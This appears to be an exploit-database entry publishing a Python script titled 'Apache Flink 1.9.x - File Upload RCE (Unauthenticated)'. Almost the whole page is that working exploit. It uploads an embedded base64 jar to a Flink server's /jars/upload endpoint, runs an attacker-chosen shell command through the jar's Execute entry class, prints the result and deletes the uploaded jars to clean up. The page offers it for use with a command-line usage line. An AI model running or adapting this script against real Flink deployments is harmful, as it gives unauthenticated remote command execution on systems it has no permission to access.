Apache Flink 1.9.x Shell Upload

2020.11.02
Credit: bigger.wing
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

#!/usr/bin/env python3 # _*_ coding: utf-8 _*_ # Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated) # Google Dork: None # Date: 2020.11.01 # Exploit Author: bigger.wing # Vendor Homepage: https://flink.apache.org/ # Software Link: https://flink.apache.org/downloads.html # Version: 1.9.x # Tested on: Centos7.x, 1.9.1 # CVE: None import io import re import sys import base64 import requests class FlinkRCECheck: def __init__(self, url): self.url = url self.timeout = 10 self.upload_file = 'rce_check_from_sec.jar' self.headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/61.0 Safari/537.36' } @property def get_version(self): url = '%s/%s' % (self.url, 'config') try: res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False) version = res.json().get('flink-version') except: version = 'unknown' return version @property def jar_check(self): url = '%s/%s' % (self.url, 'jars') jar_list = [] try: res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout) if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''): res = res.json() for file in res['files']: if file['id'].endswith(self.upload_file): jar_list.append(file['id']) except Exception as e: pass return jar_list @property def jar_upload(self): url = '%s/%s' % (self.url, 'jars/upload') jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My' '0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg' 'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA' 'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK' 'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz' '/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3' 'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv' 'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5' 'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC' 'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN' 'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK' '6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q' 'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs' '10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM' 'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo' 'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp' 's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ' 'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs' 'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt' 'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO' 'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b' 'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw' 'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ' 'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG' 'AAAAAAMAAwC4AAAArgQAAAAA') files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')} try: res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False) file_id = res.json()['filename'].split('/')[-1] return file_id except Exception as e: res = False return res @property # delete history jar packages def jar_delete(self): for jar_name in self.jar_check: url = '%s//jars/%s' % (self.url, jar_name) try: requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False) except: pass return def rce(self, command): jar_file = self.jar_upload try: execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command) res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False) res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2] if res: print('rce command "%s" exec result: %s' % (command, res)) state = 1 msg = '%s rce success' % self.url else: state = 0 msg = '%s rce failed' % self.url except: state = 0 msg = '%s rce failed' % self.url delete = self.jar_delete return {'state': state, 'version': self.get_version, 'msg': msg} if __name__ == '__main__': usage = 'python3 script.py ip port command' if len(sys.argv) != 4: print('simple usage: %s' % usage) else: ip = sys.argv[1] port = sys.argv[2] command = sys.argv[3] url = 'http://%s:%s' % (ip, port) res = FlinkRCECheck(url=url).rce(command=command) print(res)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top